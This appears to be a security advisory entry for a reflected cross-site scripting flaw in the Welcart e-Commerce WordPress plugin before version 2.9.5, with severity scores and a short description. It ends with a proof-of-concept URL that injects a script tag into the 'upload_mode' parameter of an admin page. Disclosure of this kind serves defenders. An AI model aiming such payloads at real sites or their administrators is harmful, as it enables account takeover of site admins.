Welcart e-Commerce < 2.9.5 - Reflected XSS

2023-11-1000:00:00

Erwan LR (WPScan)

welcart e-commerce

reflected xss

logged in admin

url

exploit

6.5 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.0%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open the URL below:

https://example.com/wp-admin/admin.php?page=usces_itemedit&action=upload_register&upload_mode=</script><script>alert(/XSS/)</script>